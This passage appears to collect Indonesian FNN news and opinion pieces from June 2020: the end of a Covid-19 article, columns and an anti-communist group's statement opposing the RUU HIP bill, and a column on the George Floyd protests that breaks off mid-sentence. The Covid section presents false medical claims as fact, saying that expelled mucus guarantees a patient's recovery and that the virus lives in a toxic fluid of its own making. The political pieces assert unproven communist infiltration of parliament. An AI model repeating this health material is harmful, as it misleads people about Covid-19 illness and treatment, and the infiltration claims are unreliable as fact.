Hendrajit, dalam kasus seperti ini Bronchoscopy bisa menjadi pilihan. Mengutip Direktur Global Future Institute tersebut, baru-baru ini juga dikabarkan bahwa penggunaan Ventilator pada pasien Covid-19 ternyata banyak menimbulkan efek negatif tidak seperti yang diharapkan. Kembali ke temuan Prof Liu Liang di Wuhan tersebut. Sebenarnya, hasil otopsi di Tongji Medical College di Wuhan itu juga ditemukan pada seorang pasien Covid-19 di Indonesia. Ini dilihat dari rontgen, paru-parunya tenggelam oleh bercak-bercak putih. Dari hasil otopsi yang dilakukan di China dan Italia, diperkuat hasil rontgen pasien Covid-19 di Indonesia, jelas dan bisa disimpulkan bahwa Covid-19 itu menyerang paru-paru sehingga pasien gagal nafas hingga menyebabkan kematian. Secara klinis, pasien yang sembuh dari Covid-19 biasanya dari hidung dan tenggorokannya akan keluar lendir terus-menerus hingga berhenti sendirinya. Bisa dibayangkan, kalau lendir itu tidak keluar, dan ada di dalam tenggorokan. Itulah yang terjadi pada pasien Covid-19 yang pada akhirnya bisa menyebabkan saluran nafas buntu. Jika lendir ini tidak keluar, maka yang terjadi adalah pasien akan mengalami kematian. Karena gagal bernafas. Lendir ini memang harus keluar. Keluarnya lendir dari hidung dan tenggorokan itu sebenarnya adalah proses perbaikan yang sedang berjalan. Perlu dicatat, saat Covid-19 mereplikasi dirinya beratus-ratus kali lipat mereka membutuhkan media untuk hidup. Media untuk hidup itu berupa cairan yang di dalamnya ini berisi protein-protein yang mereka hasilkan tersebut. Nah, cairan tempat hidup mereka itu, ternyata bersifat toksik bagi tuan rumahnya (manusia). Reaksi antibodi pada cairan yang membahayakan tersebut, antara lain berupa memproduksi cairan untuk menghambat protein yang toksik itu. Perpaduan antara cairan protein yang toksik dengan cairan reaksi antibodi, akhirnya berupa cairan yang kental, dan volumenya banyak. Jika lendir (atau ingus) itu berhasil keluar dari hidung dan tenggorokan, maka bisa dipastikan pasien Covid-19 akan sembuh. Penulis Wartawan Senior

RUU HIP: PDIP Bersiap Hadapi Tsunami

Oleh Hersubeno Arief Jakarta, FNN - PDIP dan partai-partai pendukung pemerintah salah kalkulasi soal RUU HIP. Kelihatannya mereka menduga bakal selamat, sukses menyelundupkan dan menggolkan undang-undang, seperti sebelumnya. Mumpung sedang pandemi. Mumpung rakyat sibuk dengan urusan perut dan periuk nasi. Mumpung elemen masyarakat kritis dan mahasiswa tak bisa turun ke jalan. Optimisme itu tidak berlebihan. Sejauh ini mereka selalu sukses. Bekerja untuk kepentingan oligarki, meloloskan undang-undang di balik tabir pandemi. Mulai dari UU Minerba, sampai yang kelas kakap seperti UU Kebijakan dan Stabilitas Keuangan Negara alias UU Covid-19. Semua berhasil digolkan. Melenggang mulus tanpa perlawanan yang berarti. Hanya riak-riak, gelombang kecil yang hilang dengan sendirinya. Tertelan waktu dan berbagai isu. Tapi kali ini mereka salah hitung. Terlalu serakah dan kemaruk. Aji mumpung. Mereka barangkali lupa dengan pepatah, tak ada pesta yang tak berakhir. Ketika lampu menyala, dan musik berhenti, mereka seperti tersadar dari mimpi. Perlawanan publik kali ini bukan hanya riak ombak kecil, yang mengayun dan meninabobokan. Sudah berubah menjadi gelombang pasang. Bila salah antisipasi bisa menjadi tsunami. Menggulung mereka sampai jauh ke daratan. Tsunami politik tidak hanya bagi PDIP, tapi juga bagi pemerintahan Jokowi. Setelah terpecah belah selama rezim Jokowi berkuasa, baru kali inilah kekuatan agama dan nasionalis bersatu. Mulai dari Majelis Ulama Indonesia (MUI), PP Muhammadiyah, PBNU, Persekutuan Gereja-Gereja Indonesia (PGI) sampai Forum Purnawirawan TNI Polri. Belum lagi berbagai ormas dan elemen-elemen masyarakat lain yang tak terhitung jumlahnya. Semua bersatu padu menolak RUU HIP. Padahal MUI masih dipimpin (non aktif) oleh Wapres Ma’ruf Amin. Di kalangan purnawirawan ada mantan Wapres Try Sutrisno yang kini menjadi anggota Badan Pembinaan Idiologi Pancasila (BPIP). Mereka adalah bagian dari rezim penguasa. RUU HIP tak lagi membuat mereka melakukan kalkulasi politik pragmatis. Ini merupakan soal prinsip yang tidak bisa ditawar-tawar. Eforia kekuasaan PDIP tampaknya sedang eforia kuasa. Mereka lupa atau mungkin terlalu percaya diri. Berani dan nekad menabrak isu yang selama ini menjadi tabu terbesar ( the biggest taboo ) bangsa. Masalah keyakinan terhadap Tuhan Yang Maha Esa dan Kebangkitan PKI. Dua isu itu langsung membuat berdiri tanduk berbagai elemen masyarakat. Menyatukan kekuatan yang selama ini terpecah belah. Tak ada pilihan lain bagi PDIP harus menarik diri. Mundur teratur. Kecuali bila ingin hancur. Apalagi partai-partai pemerintah yang sebelumnya sempat mendukung, langsung balik badan dan cuci tangan. PDIP ditinggal sendirian menghadapi badai. Tudingan anti agama dan memberi ruang kebangkitan PKI terlalu berat untuk ditanggung. Stigma ini sangat kuat melekat pada PDIP. Baik karena faktor sejarah maupun representasi anggota dewan dan pemilihnya. Apalagi rakyat kini sedang sangat sensitif dan waspada atas isu dominasi modal dan TKA Cina. Negara kapitalis sekaligus komunis. Pemerintah setelah melalui perdebatan sengit di jajaran Polhukam akhirnya melemparkan bola panas itu kembali ke DPR. Tinggallah PDIP yang kini harus bersih-bersih. Berkelit sana-sini, berusaha menyelamatkan diri. Sekjen PDIP Hasto Kristiyanto menyatakan partainya bersedia memasukkan TAP MPRS No XXV Tahun 1966 tentang pembubaran dan pelarangan Partai Komunis Indonesia (PKI) dalam RUU HIP. Hasto juga menyatakan partainya setuju menghapus pasal tentang ciri pokok Pancasila yang dikristalisasi dalam Trisila dan Ekasila. Sebelumnya ketentuan itu dicantumkan dalam Pasal 7 RUU HIP. Dalam Pasal 2 disebutkan: Ciri Pokok Pancasila berupa trisila, yaitu: sosio-nasionalisme, sosio-demokrasi, serta ketuhanan yang berkebudayaan.Sementara dalam Pasal 3 Trisila sebagaimana dimaksud pada ayat 2 terkristalisasi dalam ekasila, yaitu gotong-royong. Usulan ini bukan barang baru. Formula dan rumusan kalimatnya persis seperi yang disampaikan Ir Soekarno pada tanggal 1 Juni 1945 di depan sidang Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia (BPUPKI). Tanggal 1 Juni inilah yang kemudian pada tahun 2016 ditetapkan oleh Presiden Jokowi sebagai Hari Lahirnya Pancasila. Soal peras memeras Pancasila ini belakangan PDIP melalui Wakil Ketua MPR Ahmad Basarah mengelak dan menyatakan bukan usulan partainya. Dia mengaku punyi buktinya. Namun dia menolak menyebutkan usulan siapa dan dari partai apa? Di medsos beredar pidato Ketua Umum PDIP Megawati yang kembali menyitir gagasan Bung Karno memeras Pancasila hanya menjadi Ekasila. Pidato itu disampaikan pada HUT PDIP ke-44 di Jakarta (2017). Dengan fakta-fakta itu agak sulit bagi PDIP membantah. RUU usulan itu berasal dari mereka. Yang menjadi Ketua Panitia Kerja (Panja) RUU HIP kader PDIP Rieke Diah Pitaloka. Secara historis maupun politik, PDIP paling berkepentingan. Jadi sulit bagi mereka untuk buang badan begitu saja. Belakangan para pimpinan DPR juga sepakat untuk menunda pembahasan. Namun itu tampaknya tidak cukup. Hampir semua elemen masyarakat menginginkan agar RUU tersebut dicabut, dibatalkan. Selain isu PKI dan atheisme yang menafikan keberadaan tuhan dan agama, banyak yang khawatir Pancasila akan kembali menjadi alat gebuk rezim terhadap lawan-lawan politiknya. Kekhawatiran yang punya alasan sejarah cukup kuat. Orde Lama maupun Orde Baru pernah melakukan hal serupa. PDIP harusnya belajar dari sejarah. Mereka pernah berada dalam kekuasaan, kemudian berada di luar kekuasaan. Kini kembali berada di dalam kekuasaan. Alat pemukul yang mereka ciptakan selama berkuasa, boleh jadi saat ini efektif untuk menggebuk lawan-lawan politiknya. Namun jangan lupa, suatu saat bisa digunakan oleh penguasa untuk menggebuk balik mereka. Apa tidak ingat bagaimana rasanya menjadi oposisi. Mengalami represi berkepanjangan selama Orde Baru berkuasa? Bukankah sejarah selalu berulang? Secara hukum alam (sunatullah) kekuasaan itu juga akan dipergilirkan. Sekali lagi, belajarlah dari sejarah. Tidak ada kekuasaan yang abadi. Mawas dirilah….End Penulis Wartawan Senior

Manipulasi dan Bahaya Istilah "Gotong Royong"

by M Rizal Fadillah Jakarta FNN – Jum’at (19/06). Rasanya saat-saat ini mulai disosialisasikan penggunaan kalimat gotong-royong. Makna sederhananya adalah kerjasama. Bisa juga bahu-membahu atau tolong-menolong sebagai konsekuensi dari proses kehidupan dan interaksi sosial. Makna seperti ini tentu saja sangat konstruktif, baik atau bagus-bagus saja. Apalagi makna itu disandarkan pada asas kekeluargaan dan kebersamaan. Meskipun demikian, gotong-royong itu masih netral. Konstruksi lain juga bisa bermakna buruk. Misalnya, jika kekeluargaan atau kebersamaan pada gotong-royong itu didasarkan pada kejahatan, kezaliman, dan dosa. Gotong-royong dalam keburukan adalah perbuatan yang tercela atau tidak beradab. Bisa juga biadab. Padahal agama telah mengajarkan kita untuk saling tolong-menolong dalam kebaikan dan ketakwaan. Jangan bekerjasama dan tolong-menolong dalam dosa dan kejelekan. Pada sisi lain, gotong-royong juga dapat masuk dalam kategori manipulative, dan itu bias berbahaya. Apalagi jika dikaitkan dengan gotong-royongnya yang Ekasila. Gotong-royong disini bernilai ideologis, yang telah lewat dalam lintasan sejarah bangsa. Gotong-royong yang Ekasila ini sebagai hasil "perasan" dari Trisila, yaitu Sosio Nasionalisme, Sosio Demokrasi, dan Ketuhanan. Gotong-royong yang dari Trisila lalu Ekasila ini adalah hasil pemerasan lagi dari Pancasila gagasan Soekarno 1 Juni 1945. Isinya itu adalah Kebangsaan atau Nasionalisme, Kemanusiaan atau Internasionalisme, Mufakat atau Demokrasi, Kesejahteraan Sosial, dan Ketuhanan yang berkebudayaan. Jadi terma gotong-royong itu bisa saja multi makna. Dari yang positif hingga negatif. Tergantung dari sudut pandang yang mana. Bahkan dapat manipulatif dan berbahaya. Ketika dibuat spanduk sebagai sosialisasi "gotong-royong", maka ada kemungkinan munculnya makna yang bersifat ideologis. Dengan demikian, masyarakat harus berhati hati-hati menggunakan kata atau kalimat gotong-rotong tersebut. Sebab bisa memiliki makna yang berbeda-beda. Gunakan saja kalimat yang lebih aman seperti tolong-menolong, kerjasama, bahu-membahu atau masih banyak yang lain lagi. Hindari saja istilah "gotong royong". Jika ditarik ke masa Orde Lama, maka PKI lah yang paling suka mengkampanyekan istilah gotong-royongnya Soekarno tersebut. Mungkin saja relevan, sefaham atau sejalan dengan fahamnya komunisme yang "materialisme". "Sama rata sama rasa". PKI juga berslogan "kaum proletar bersatulah". Maksud PKI adalah bergotong royonglah. Sebab dengan Ekasila tersebut, maka nilai Ketuhanan dan lainnya menjadi lebur atau "out". Ini menjadi basis yang kuat untuk mengembangkan faham komunisme. Umat Islam harus memahami dan kenali dengan istilah gotong-royong ini dengan benar, agar tidak terjebat dalam permainan kata-kata semata. Konsepsi Presiden soal Kabinet Gotong Royong didukung penuh oleh Ketua PKI DN Aidit. Dia menyebut nama Kabinet Gotong Royong "sesuai dengan tuntutan rakyat". Dalam Sidang Konstituante Ir. Sakirman dari PKI menyatakan “Sila Gotong Royong sudahlah cukup sebagai satu-satunya sila”. PKI juga sangat berkeinginan untuk mengesampingkan Sila Ketuhanan Yang Maha Esa. Untuk itu, PKI sangat mendukung dan memperjuangkan konsep Soekarno tentang Ekasila atau gotong royong. Konsep Ekasila, lalu gotong-rotongnya Soekarno inilah yang mau diperjuangkan di RUU HIP. Kini jika kaum "kebangsaan" sangat alergi dengan istilah Jihad, Syari'at atau Khilafah, mengapa kaum atau umat Islam tidak alergi terhadap terma gotong-royong ? Saatnya umat Islam menjauhi peristilahan "gotong royong" karena sangat multi makna. Bisa sangat berbahaya. Bahayanya adalah "gotong royong" terus menerus dipublikasikan. Tujuannya agar pada waktunya rakyat Indonesia dapat menerima "gotong royong" sebagai satu-satunya sila, yaitu Ekasila. Ini adalah perjuangan dari kelompok PKI. Mereka tidak akan pernah berhenti untuk memperjuangkan “Ekasila, lalu gotong-royong” itu. PKI dan neo PKI kapanpun sama saja. Mereka itu tidak ada beradanya. Tukang memanipulasi, dan menjpu rakyat kalau momentumnya sudah ada atau memungkinkan. Munculnya RUU HIP adalah bentuk nyata dari tipu-tipu model tersebut. Untuk itu, umat Islam harus waspadalah. Penulis adalah Pemerhati Politik dan Kebangsaan.

Front Anti Komunis Indonesia Mengutuk Keras RUU HIP dan Bangkitnya PKI

Jakarta, FNN - Mencermati perkembangan kehidupan beragama, berbangsa, dan bernegara serta setelah mempelajari dengan seksama RUU Haluan Ideologi Pancasila (HIP) dan perkembangan yang terjadi terkait RUU tersebut, dengan berharap rahmat dan ridho Allah Yang Maha Esa, Front Anti Komunis Indonesia (FAKI) menyatakan: Dalam lima-enam tahun terakhir, terasa sekali adanya upaya kebangkitan Partai Komunis Indonesia (PKI) dan paham komunis di Indonesia. Yang lebih buruk dan berbahaya lagi, kebangkitan PKI dan paham komunis tersebut justru difasilitasi oleh para elit politik, baik di eksekutif maupun legislatif.Diajukannya RUU HIP yang berbau komunis dan menafikan peran agama, dan tidak memasukkan TAP MPRS nomor XXV/1966 tentang Larangan Ajaran Komunisme, Marxisme dan Leninisme serta Larangan Terhadap PKI, menunjukkan lembaga legislatif sudah disusupi oleh anasir PKI/komunis.Menolak RUU HIP dan mendesak Pimpinan DPR RI menghentikan pembahasannya menjadi UU, serta mendesak Pimpinan DPR RI membubarkan Panitia Kerja (Panja) RUU HIP.Mendukung penuh dan siap mengawal Maklumat Dewan Pimpinan Pusat Majelis Ulama Indonesia (MUI) dan Dewan Pimpinan MUI Provinsi se Indonesia, yang antara lain menolak RUU HIP.Menilai sikap pemerintah terlalu lamban dan ragu-ragu terkait RUU HIP. Pernyataan pemerintah melalui Menko Polhukam Mahfud MD yang meminta DPR menunda pembahasan RUU HIP sama sekali tidak cukup. Sebagai mitra DPR dalam pembuatan UU, pemerintah seharusnya menyatakan RUU HIP tidak ada urgensinya, dan oleh karenanya harus dicabut/dikeluarkan dari Program Legisalasi Nasional (Prolegnas).Mengingatkan Presiden Joko Widodo dan seluruh jajarannya, terutama aparat TNI/Polri, bahwa TAP MPRS nomor XXV/1966 tentang Larangan Ajaran Komunisme, Marxisme dan Leninisme serta Larangan Terhadap PKI hingga detik ini belum dicabut. Kepastian tersebut juga dituangkan dalam TAP MPR nomor 1/2003. Artinya, Ketetapan MPRS tersebut hingga kini masih berlaku.Sesuai bunyi sumpah jabatan Presiden, “Demi Allah, saya bersumpah akan memenuhi kewajiban Presiden Republik Indonesia dengan sebaik-baiknya dan seadil-adilnya, memegang teguh Undang-Undang Dasar dan menjalankan segala undang-undang dan peraturannya dengan selurus-lurusnya serta berbakti kepada Nusa dan Bangsa," maka FAKI mengingatkan, bahwa Presiden Joko Widodo berkewajiban menjalankan TAP MPRS nomor XXV/1966 tersebut dengan sungguh-sungguh, murni, dan konsekwen.Mendesak Presiden Joko Widodo mengambil kebijakan dan langkah-langkah nyata yang tegas dan terukur, serta memerintahkan aparat hukum dan aparat keamanan untuk mencegah kebangkitan paham komunis dan PKI.Mendesak Presiden Joko Widodo memerintahkan aparat penegak hukum untuk mengusut tuntas inisiator dan konseptor RUU HIP, serta memproses mereka secara hukum dengan seadil-adilnya.Sesuai pasal 40 dan pasal 41 UU nomor 2/2008 tentang Partai Politik jo UU nomor 2/2011, mendesak Mahkamah Konstitusi (MK) segera membubarkan partai politik yang menjadi inisiator dan konseptor RUU HIP karena terbukti melakukan kegiatan yang bertentangan dengan Undang-Undang Dasar 1945 dan peraturan perundang-undangan; atau melakukan kegiatan yang membahayakan keutuhan dan keselamatan NKRI.Menolak kriminalisasi dan perlakuan yang tidak adil oleh aparat hukum terhadap para ulama dan tokoh masyarakat yang berseberangan dan menyampaikan saran serta kritik teradap penguasa.Menyerukan para tokoh agama, tokoh masyarakat, aktivis yang setia pada NKRI dan seluruh elemen masyarakat untuk mewaspadai dan melawan gerakan komunis gaya baru yang berusaha bangkit, baik dalam kehidupan bermasyarakat maupun melalui jalur kekuasaan.Mengingatkan Presiden Joko Widodo dan seluruh jajarannya untuk memperhatikan dan menindaklanjuti dengan sungguh-sungguh pernyataan sikap FAKI ini dan pernyataan senada dari begitu banyak elemen anak bangsa lainnya, agar tidak terjadi gejolak yang tidak diinginkan yang dapat mengancam kedamaian, keutuhan, dan kesatuan NKRI. Demikian pernyataan sikap ini kami sampaikan untuk menjadi perhatian kita bersama. Semoga Allah Yang Maha Kuasa meridhoi dan menolong perjuangan kita dalam membendung serta melawan bangkitnya komunisme dan PKI di negeri tercinta yang religius ini. Aamiin… Jakarta, 17 Juni 2020 FRONT ANTI KOMUNIS INDONESIA (FAKI) Edy MulyadiKetua Umum Novebri SasongkoSekretaris Jenderal

PDIP Mau Buang Badan, Tapi Badannya Terlalu Besar

By Asyari Usman Jakarta, FNN - Kembali ke isu RUU Haluan Ideologi Pancasila (HIP). PDIP akhirnya mundur. Mereka bersedia mencantumkan Tap MPRS XXV/MPRS/1966 tentang pelarangan komunisme dan PKI sebagai konsideran RUU. Mereka juga bersedia menghapuskan Trisila dan Ekasila dari RUU itu. PDIP adalah pihak yang mengusulkan kedua materi ini. Kedua hal ini memunculkan tentangan keras dari semua ormas dan lembaga Islam. Peniadaan Tap MPRS larangan PKI, komunisme dan marxisme-leninisme itu, plus degradasi Pancasila menjadi “Gotong Royong” dan agama disetarakan dengan kebudayaan, memicu kecurigaan terhadap RUU HIP. Kecurigaan itu sampai pada dugaan bahwa pihak yang memprakarsai RUU ingin membangkitkan kembali komunisme dan PKI di Indonesia. Tentu saja umat beragama, terutama umat Islam, bereaksi sangat keras. NU dan Muhammadiyah menolak. Mereka meminta agar RUU HIP tidak saja direvisi, melainkan dicabut total. Tidak usah dibahas lagi. Begitu juga Majelis Ulama Indonesia (MUI). MUI malah mengeluarkan maklumat keras bernada ultimatum jika RUU HIP masih berkonten pasal-pasal anti-agama. Didukung 34 MUI provinsi, MUI Pusat menyimpulkan RUU HIP ‘original’ bisa menjadi jalur legal bagi para pendukung PKI dan komunisme untuk bangkit kembali. Yang sangat mengkhawatirkan, selain penyingkiran Tap larangan komunisme-PKI, adalah Pasal 7 RUU HIP. Di ayat (2) pasal ini, Trisila diuraikan sebagai “sosio-nasionalisme”, “sosio-demokrasi”, dan “ketuhanan yang berkebudayaan”. Dua istilah pertama yang ini entah apa maksudnya. Tapi, yang terpenting, kita perlu fokus ke istilah ketiga. Yaitu, “ketuhanan yang berkebudayaan”. Terminologi ini berpotensi mengaburkan prinsip Ketuhanan Yang Maha Esa di Pancasila. Bahkan, banyak orang yang berpendapat bahwa istilah “ketuhanan yang berkebudayaan” memberikan ruang yang sangat bebas untuk menafsirkan eksistensi agama dalam kehiudpan berbangsa dan bernegara. Salah satu tafsiran orang adalah menyamakan agama dengan kebudayaan. Atau, bisa dikatakan pasal ini akan ‘mewajibkan’ agama menyerap kebudayaan. Jadi, RUU HIP sengaja diisi dengan diksi dan narasi yang tak jelas. Penuh dengan poin-poin yang tidak substantif. Seandainya menjadi UU, maka anasir-anasir pro-PKI secara bertahap akan memanfaatkan kesempatan untuk melakukan infiltrasi komunisme ke dalam sistem sosial yang berbasis ketuhanan. Kalau sempat menjadi UU, berarti inflitrasi itu legal. Dengan membaca kemungkinan ini, umat Islam tampanya akan menyalakan ‘sistem peringatan dini’ (early warning system). Agar umat senantiasa waspada. Terutama terhadap manuver PDIP. Kelihatannya, partai berlambang Banteng galak tsb tidak akan menyerah. Mereka tidak akan berhenti sampai di sini. Mereka bisa saja datang kembali dengan upaya penghapusan Tap MPRS larangan komunisme-PKI. Dan juga gagasan ekstraksi (menciutkan) Pancasila. Supaya, berat dugaan, sila Ketuhanan Yang Maha Esa perlahan bisa hilang dan tidak tertulis lagi di dokumen negara maupun teks-teks akademik. Wakil Ketua DPP PDIP Ahmad Basarah menegaskan bahwa peniadaan Tap MPRS larangan komunisme di deretan konsideran RUU HIP, bukan inisiatif partainya. PDIP difitnah seolah mendukung kebangkitan kembali komunisme. Begitu juga soal Trisila dan Ekasila. PDIP juga terfitnah, kata Basarah. Namun, catatan yang ada menunjukkan bahwa kedua hal itu berasal dari Partai Banteng. Kalau bukan PDIP, kenapa mereka yang sibuk mengatakan bahwa Tap MPRS larangan komunisme sekarang sudah dicantum di RUU. Sedangkan Trisila dan Ekasila sudah dihapus. Kelihatannya, PDIP mau buang badan. Cuma, badannya terlalu besar. Sehingga, mau dibuang ke mana pun, tetap terlihat.[] 18 Juni 2020(Penulis wartawan senior)

Perlawanan Rakyat, Kekerasan Polisi dan Reformasi Institusi

by Farouk Abdullah Alwyni & Kamal Abdullah Alwyni Jakarta FNN – Kamis 918/06). Belajar dari kasus demonstrasi besar-baran akibat kematian George Floyd di Amerika Serikat. Baru-baru ini kita semua menyaksikan sebuah hal yang sangat dramatis. Demonstrasi yang berlangsung di banyak kota-kota di Amerika Serikat (AS). Demonstrasi yang berlangsung mulai dari kota-kota besar di Amerika seperti Minneapolis, Washington, New York, Los Angeles, Las Vegas, Michigan. Demonstrasi yang sama juga terjadi di kota-kota besar dunia seperti London, Paris, Sydney, Melbourne, Berlin, Lisbon, Tokyo, dan masih banyak lagi. Berdasarkan temuan para peneliti, protes yang ada sekarang merupakan yang terluas dalam sejarah Amerika. Telah menyebar di lebih dari 650 kota di 50 negara bagian (The Washington Post, 7 Juni 2020). Demo-demo ini dipicu oleh kematian seorang warga kulit hitam George Floyd, akibat perlakuan kekerasan polisi kulit putih, beserta tiga rekan polisi lainnya. Kematian George Floyd ini memancing amarah publik setelah sebuah video viral yang menunjukkan bagaimana sang polisi menekan dengkulnya secara dingin selama sembilan menit, mengabaikan permohonan sang warga kulit hitam yang mengeluh berkali-kali bahwa yang bersangkutan tidak bisa bernafas (I can’t breathe). Spontan, segera setelah video itu viral beredar di media-media sosial dan berbagai media mainstream di Amerika Serikat seperti New York Times, Los Angeles Times, Washington Post, NBC News, dan lain sebagainya. Banyak masyarakat Amerika Serikat dari berbagai latar belakang dan warna kulit di berbagai kota besar di Amerika Serikat turun kejalan meminta keadilan untuk George Floyd. Mereka mendesak agar otoritas memecat, mengadili, dan menghukum sang pelaku dan ketiga kawannya. Sejauh ini tuntutan para demonstran mulai membuahkan hasil. Sang pelaku utama telah dipecat, dan sekarang mulai diproses untuk diadili dengan tuntutan “Second Degree Murder”. Ketiga kawannya yang pada awalnya belum dipecat, akhirnya juga menyusul dipecat dan juga ikut diproses sebagai bagian dari pihak-pihak yang terlibat dalam proses pembunuhan tersebut. Dampak yang tidak terelakkan dari demo besar-besaran di banyak kota di Amerika Serikat adalah terjadinya looting dan rioting dari berbagai pihak yang ingin mengambil manfaat dari kejadian ini. Bahkan yang sebelumnya tidak pernah terjadi, masuk ke daerah-daerah elite di Los Angeles, seperti Beverly Hills, Santa Monica, dan West Los Angeles. Motif dari berbagai tindakan destruktif tersebut memang berbagai macam. Mulai dari kemarahan yang tidak terkontrol, sampai kriminalitas murni. Bahkan dari sekelompok far right/White Supremacy yang ingin memicu lebih jauh konflik rasial di Amerika Serikat. Namun ddemikian, dampak negatif tersebut perlu dilihat secara proporsional. Sebab ada sebagain kecil yang ingin menumpang dari gelombang besar demo damai ini. Yang awalnya hanya menuntut keadilan untuk George Floyd, berubah menjadi sebuah bentuk perlawanan rakyat terhadap kekerasan polisi, khususnya dari kelompok minoritas kulit hitam. Ada kelompokl yang dianggap sebagai ketidakadilan dalam proses penegakan hukum kepada para polisi dan pelaku-pelaku kekerasan sebelumnya. Demo-demo ini pada dasarnya menyatukan sebuah keterpanggilan untuk menciptakan AS yang lebih adil untuk semua. Black Lives Matter menjadi satu slogan penting pergerakan tersebut. Banyak purnawirawan Jenderal di Amerika yang mengkritik respon Presiden Donald Trump. Mantan Menteri Pertahanan Amerika Serikat Jenderal Purnawirawan James Mattis termasuk yang mengkritik respon Presiden Serikat Donald Trump terhadap demo-demo. Karena Trump dianggap membatasi hak-hak kebebasan sipil yang tercantum dalam Bill of Rights, dan merupakan pelecehan terhadap konstitusi. Mattis bahkan menuding bahwa Trump adalah seorang Presiden yang memecah Amerika Serikat. Tidak punya niat baik untuk menyatukan Amerika Serikat. Mittis beranggapan semua ini terjadi sebagai akibat dari tiga tahun kepemimpinan Trump yang tidak matang. Kemarahan banyak elite dan para mantan elite politik dan pemerintahan Amerika Serikat, diantaranya dipicu oleh sikap Presiden Trump yang dianggap tidak sensitif ketika yang bersangkutan berjalan dari White House ke sebuah Gereja Historis (St. John’s Episcopal Church). Hanya satu blok dari White House, di Washington untuk hanya berfoto dengan para pembantunya, dan juga berfoto sendiri dengan memegang Bible. Persoalannya adalah proses sampainya Trump ke lokasi Gereja itu dengan cara polisi membubarkan secara paksa demo damai di seputaran White House. Hal ini dilihat sebagai sebuah pelanggaran hukum dari seorang Presiden Amerika Serikat terhadap hak konstitusional warga Amerika untuk berdemo secara damai. Trump dilihat sebagai seorang Presiden yang sudah melecehkan hukum dan menyalahgunakan kekuasaan untuk kepentingannya sendiri. Terakhir Kepala Staf Gabungan Angkatan Bersenjata Amerika Serikat Jenderal Mark A. Milley. Chairman of the Joint Chiefs of Staff itu juga menyampaikan penyesalan dan maafnya karena ikut berfoto di gereja dengan Trump di atas. Begitu juga Menteri Pertahanan (Defense Secretary), Mark Esper menyatakan bahwa dia tidak tahu jika tujuan perjalanan Trump ke gereja hanya untuk berfoto. Esper sendiri tidak setuju dengan cara Trump yang ingin menggunakan militer untuk meredam demonstrasi. Sebenarnya apa yang terjadi sekarang ini di Amerika merupakan akumulasi kekesalan publik terhadap kekerasan polisi, khususnya kepada orang hitam. Kecenderungan bahwa kekerasan tersebut tidak selalu mendapatkan hukuman yang memadai. Mengingat di beberapa kejadian sebelumnya, proses hukum panjang tidak selalu memberikan hukuman yang setimpal kepada polisi yang melakukan keker san. Selama demo-demo anti kekerasan yang berlangsung ini, banyak sikap kekerasan polisi yang tertangkap kamera. Kondisi ini akhirnya menyatukan banyak elemen masyarakat Amerika lepas dari ras dan warna kulit yang melihat perlunya reformasi institusi kepolisian. Juga rasa keterpanggilan melakukan terhadap sistim yang lebih baik an berkeadilan. Magnitude demo yang sekarang ini terjadi, yang menunjukkan sebuah perlawan rakyat secara massif. Kondisi ini nampaknya mulai mendorong kembali refleksi dasar untuk mereformasi kepolisian (police reform) yang ada. Banyak para tokoh di Amerika Serikat seperti mantan Presiden Barack Obama, Bill Clinton, George Bush, dan bahkan Jimmy Carter yang menginginkan police reform. Para senator dan congressman, serta para walikota dan gubernur juga punya keinginan yang sama. Tentang perlunya police reform. Semua memberikan pernyataan terkait kebutuhan perlunya menciptakan institusi keadilan yang lebih baik. Bahkan survey terakhir dari Reuters/Ipsos (ipsos.com) menemukan bahwa mayoritas warga Amerika (73%) mendukung demo-demo damai yang ada. Terakhir seorang senator sedang menyiapkan usulan hukum untuk menghilangkan imunitas polisi dari hukuman. Apalagi jika yang bersangkutan dianggap telah melakukan penyalahgunaan hukum dalam proses penegakan hukum kepada para warga. Sebab seharusnya warga negara Amerika dilayani dan dilindungi oleh polisi. Tidak kurang evaluasi akademik mulai dilakukan untuk melihat kembali proses panjang peradilan untuk menghukum polisi. Hukunman terhadap polisi yang bersalah seharusnya tidak memakan waktu yang lama. Apalagi jika polisi tersebut terbukti melakukan kesewenang-wenangan terhadap warga dengan penggunaan excessive force. Sistim Kepolisian secara menyeluruh di Amerika mulai disorot. Walaupun demikian, juga harus diakui bahwa pada kenyataannya tidaklah semua polisi yang ada tersebut buruk. Banyak juga polisi yang baik-baik. Yang ditunjukkan selama belangsunya demo-demo yang ada di seluruh wilayah Amerika. Dimana sebagian polisi, mulai dari yang berada di New York, Michigan, Los Angeles, dan kota-kota lainnya menunjukkan solidaritas dan berbaur dengan para demonstran. Polisi tersebut ikut merunduk. Mereka meletakkan satu dengkulnya untuk menunjukkan duka dan solidaritas terhadap apa yang menimpa seorang George Floyd. Perdebatan terjadi, apakah persoalan kekerasan polisi yang ada terkait sistim kepolisian? Yang kemudian akan perlu direformasi, atau diakibatkan hanya oleh the bad apples. Dari yang terjadi di Amerika sekarang ini, tentunya banyak pelajaran yang bisa kita ambil. Jika kita juga mau melihat beberapa kasus kekerasan polisi terhadap masyarakat. Kejadian yang mungkin masih segar dalam ingatan kita adalah apa yang dilakukan oknum aparat kepolisian pada tanggal 21-23 Mei 2019, menyusul demo di depan Bawaslu. Ketika itu pihak kepolisian dianggap telah melakukan excessive force. Amnesti Internasional Indonesia pada waktu itu membuat pernyataan bahwa Korps Brigade Mobil (Brigade Mobil) Polri telah melakukan pelanggaran Hak Asasi Manusia (HAM) serius terhadap warga yang tidak berdaya. Terutamaketika saat melakukan penyisiran di Kampung Bali, Tanah Abang, Jakarta tanggal 22 Mei 2019. Sejauh ini kita tidak pernah mendengar para oknum polisi yang melakukan excessive force tersebut telah diadili dan diberikan hukuman yang setimpal. Kalau di Amerika, dengan segala kelebihan dan kekurangannya, dalam kasus-kasus demo seperti yang ada sekarang ini, paling tidak kita melihat bahwa jika ada persoalan yang menjadi viral dan diketahui secara luas, maka otoritas yang ada segera mengambil tindakan optimal. Mulai dari penonaktifan, pemecatan, bahkan melakukan proses hukum. Belajar dari apa yang terjadi di AS, kita perlu mengambil pelajaran terkait kebutuhan untuk menciptakan mekanisme akuntabilitas untuk segenap aparat kepolisian. Jika negara seperti Amerika dengan sistim hukum dan peradilan yang dianggap jauh lebih baik dari kita dalam perspektif internasional, masih terus dikritisi. Mereka juga selalu melakukan instropeksi dan evaluasi untuk terus memperbaiki sistim yang ada. Tentunya ini adalah sebuah panggilan untuk kita semua di Indonesia. Jangan segan-segan untuk mengevaluasi dan memperbaiki sistim kepolisian. Terutaman yang terkait dengan isu-isu politik dan penanganan demo-demo damai. Jangan sampai hanya sekelompok oknum kepolisian yang 